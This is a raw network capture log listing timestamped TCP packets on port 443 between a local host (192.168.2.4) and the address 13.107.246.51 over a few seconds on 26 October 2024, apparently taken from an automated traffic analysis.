Oct 26, 2024 13:45:15.486136913 CEST	49776	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.486150980 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.486160040 CEST	443	49776	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.490444899 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.490499020 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:15.490591049 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.490735054 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:15.490747929 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.000238895 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.001065016 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.001075983 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.001657009 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.001661062 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.104568005 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.105175972 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.105221987 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.105746984 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.105757952 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.125279903 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.125881910 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.125896931 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.126327991 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.126332998 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.128340006 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.128544092 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.128617048 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.128664970 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.128664970 CEST	49777	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.128683090 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.128693104 CEST	443	49777	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.131639957 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.131685972 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.131776094 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.131905079 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.131921053 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.241377115 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.241476059 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.241602898 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.241864920 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.241864920 CEST	49779	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.241878986 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.241890907 CEST	443	49779	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.245462894 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.245495081 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.245599985 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.245786905 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.245800972 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.246119022 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.246510029 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.246525049 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.246989012 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.246993065 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.258744955 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.258829117 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.258898973 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.259058952 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.259058952 CEST	49778	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.259077072 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.259085894 CEST	443	49778	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.261909008 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.261934996 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.262012005 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.262166977 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.262180090 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.380774975 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.381129980 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.381182909 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.382253885 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.382253885 CEST	49781	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.382271051 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.382281065 CEST	443	49781	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.385962963 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.386003971 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.386073112 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.386446953 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.386459112 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.414324045 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.432652950 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.432668924 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.433161974 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.433166981 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.561781883 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.561876059 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.561933994 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.562323093 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.562323093 CEST	49780	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.562339067 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.562346935 CEST	443	49780	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.565781116 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.565838099 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.565924883 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.566122055 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.566135883 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.867413998 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.868100882 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.868127108 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.868618011 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.868623972 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.979805946 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.982667923 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.982686043 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.983195066 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.983201027 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.992503881 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.995548010 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.995559931 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.996018887 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:16.996026993 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.999727964 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.999903917 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:16.999974012 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.000183105 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.000194073 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.000207901 CEST	49782	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.000211954 CEST	443	49782	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.003081083 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.003109932 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.003189087 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.003355026 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.003369093 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.122142076 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.122333050 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.122603893 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.122657061 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.122657061 CEST	49783	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.122678041 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.122689009 CEST	443	49783	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.123137951 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.123224020 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.123394966 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.123502016 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.123517990 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.123528957 CEST	49784	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.123534918 CEST	443	49784	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.124468088 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.126430988 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.126460075 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.126461983 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.126483917 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.126575947 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.126770973 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.126773119 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.126787901 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.126858950 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.126878977 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.126912117 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.126929045 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.127382040 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.127389908 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.253890991 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.254075050 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.254421949 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.254421949 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.254421949 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.258229017 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.258265018 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.258373976 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.258508921 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.258528948 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.315618038 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.316376925 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.316412926 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.316880941 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.316886902 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.448272943 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.448344946 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.448517084 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.452821970 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.452850103 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.452862978 CEST	49787	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.452868938 CEST	443	49787	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.456600904 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.456640959 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.456720114 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.456934929 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.456947088 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.558435917 CEST	49785	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.558470964 CEST	443	49785	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.735224962 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.735945940 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.735982895 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.736495972 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.736505032 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.865286112 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.865441084 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.865528107 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.865701914 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.865731001 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.865758896 CEST	49788	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.865772009 CEST	443	49788	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.869735003 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.869782925 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.869862080 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.870201111 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.870215893 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.870841980 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.871258020 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.871277094 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.872077942 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.872088909 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.878789902 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.879359007 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.879390001 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.879812956 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.879822969 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.990952969 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.991830111 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.991851091 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:17.992367029 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:17.992376089 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.004125118 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.004185915 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.004240036 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.004527092 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.004544973 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.004556894 CEST	49789	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.004564047 CEST	443	49789	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.008275032 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.008301973 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.008584976 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.008584976 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.008609056 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.016153097 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.016336918 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.016402006 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.016478062 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.016478062 CEST	49790	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.016513109 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.016540051 CEST	443	49790	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.018799067 CEST	49795	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.018825054 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.018899918 CEST	49795	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.019042969 CEST	49795	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.019054890 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.123183012 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.123250961 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.123322010 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.128186941 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.128210068 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.128227949 CEST	49791	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.128235102 CEST	443	49791	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.131782055 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.131841898 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.131943941 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.132369041 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.132401943 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.191767931 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.192539930 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.192549944 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.193062067 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.193065882 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.323786974 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.324065924 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.324126005 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.324161053 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.324174881 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.324186087 CEST	49792	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.324192047 CEST	443	49792	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.327140093 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.327178001 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:18.327241898 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.327404976 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:18.327425003 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.630230904 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.634738922 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.635338068 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.635405064 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.635739088 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.657308102 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.657341003 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.657821894 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.657835007 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.658072948 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.658092022 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.658447027 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.658452988 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.658647060 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.658673048 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.658988953 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.658993006 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.659248114 CEST	49795	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.659255028 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.659603119 CEST	49795	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.659607887 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.659831047 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.659879923 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.660155058 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.660170078 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.786644936 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.786911011 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787024975 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.787153959 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787343025 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787396908 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.787750006 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787774086 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787858009 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787911892 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.787951946 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.787971973 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787981033 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.787990093 CEST	49797	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.787997007 CEST	443	49797	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.788000107 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.788057089 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.788083076 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.788111925 CEST	49795	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.795442104 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.795443058 CEST	49796	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.795485020 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.795516014 CEST	443	49796	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.796339035 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.796353102 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.796437979 CEST	49793	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.796443939 CEST	443	49793	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.797045946 CEST	49795	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.797050953 CEST	443	49795	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.797822952 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.797823906 CEST	49794	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.797852993 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.797861099 CEST	443	49794	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.844655991 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.844732046 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.844815969 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.846693993 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.846729994 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.846795082 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.847181082 CEST	49798	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.847212076 CEST	443	49798	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.847306013 CEST	49799	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.847328901 CEST	443	49799	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:19.848474979 CEST	49800	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:19.848501921 CEST	443	49800	13.107.246.51	192.168.2.4
